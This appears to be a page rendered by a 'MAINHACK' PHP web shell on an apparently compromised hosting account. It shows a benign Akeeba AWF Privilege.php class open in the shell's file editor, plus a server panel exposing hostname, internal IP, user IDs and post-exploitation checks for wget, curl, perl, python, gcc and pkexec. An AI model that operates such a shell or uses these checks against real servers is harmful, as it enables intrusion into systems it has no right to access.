[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Privilege.php
<?php /** * @package awf * @copyright Copyright (c)2014-2026 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU GPL version 3 or later */ namespace Awf\User; /** * An abstract privilege class, which you can extend to easily provide your custom privilege management class */ abstract class Privilege implements PrivilegeInterface { /** * The name of these privileges, as known by the user object we are attached to * * @var string */ protected $name = ''; /** * The user object we are attached to * * @var UserInterface */ protected $user = null; /** * A hash array. The key is the privilege name, the value is the privilege setting (true to grant access, false * otherwise) * * @var array */ protected $privileges = array(); /** * Sets the name of this privilege management object * * @param string $name The name of the privilege object * * @return void */ public function setName($name) { $this->name = $name; } /** * Binds a user object to this privilege management object * * @param UserInterface $user The user object to bind * * @return void */ public function setUser(UserInterface &$user) { $this->user = $user; } /** * Get an array of supported privilege names by this class * * @return mixed */ public function getPrivilegeNames() { return array_keys($this->privileges); } /** * Get the value of a privilege: true if access is granted, false if it is denied * * @param string $privilege The privilege to check * @param mixed $default The default privilege value if it's unspecified * * @return boolean true if access is granted, false if it is denied */ public function getPrivilege($privilege, $default = false) { if (!array_key_exists($privilege, $this->privileges)) { $this->privileges[$privilege] = $default; } return $this->privileges[$privilege]; } /** * Set the value of a privilege. Not all implementations may support this. * * @param string $privilege The name of the privilege to set * @param mixed $value The privilege's value: true to give it, false to deny it * * @return void */ public function setPrivilege($privilege, $value) { $this->privileges[$privilege] = $value; } /** * It's called before the user record we are attached to is saved. We add our privileges under the acl key of * the user object's parameters * * @return void */ public function onBeforeSave() { if (!empty($this->privileges)) { foreach ($this->privileges as $key => $value) { $this->user->getParameters()->set('acl.' . $this->name . '.' . $key, $value); } } } /** * It's called after the user record we are attached to is saved. NOT USED. * * @return void */ public function onAfterSave() { // Nothing to do } /** * It's called before the user record we are attached to is loaded. NOT USED. * * @param object $data The raw data we are going to bind to the user object * * @return void */ public function onBeforeLoad(&$data) { // Nothing to do } /** * It's called after the user record we are attached to is loaded. We read the privileges from the acl key of the * user object's parameters * * @return void */ public function onAfterLoad() { if (!empty($this->privileges)) { foreach ($this->privileges as $key => $value) { $this->privileges[$key] = $this->user->getParameters()->get('acl.' . $this->name . '.' . $key, $value); } } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697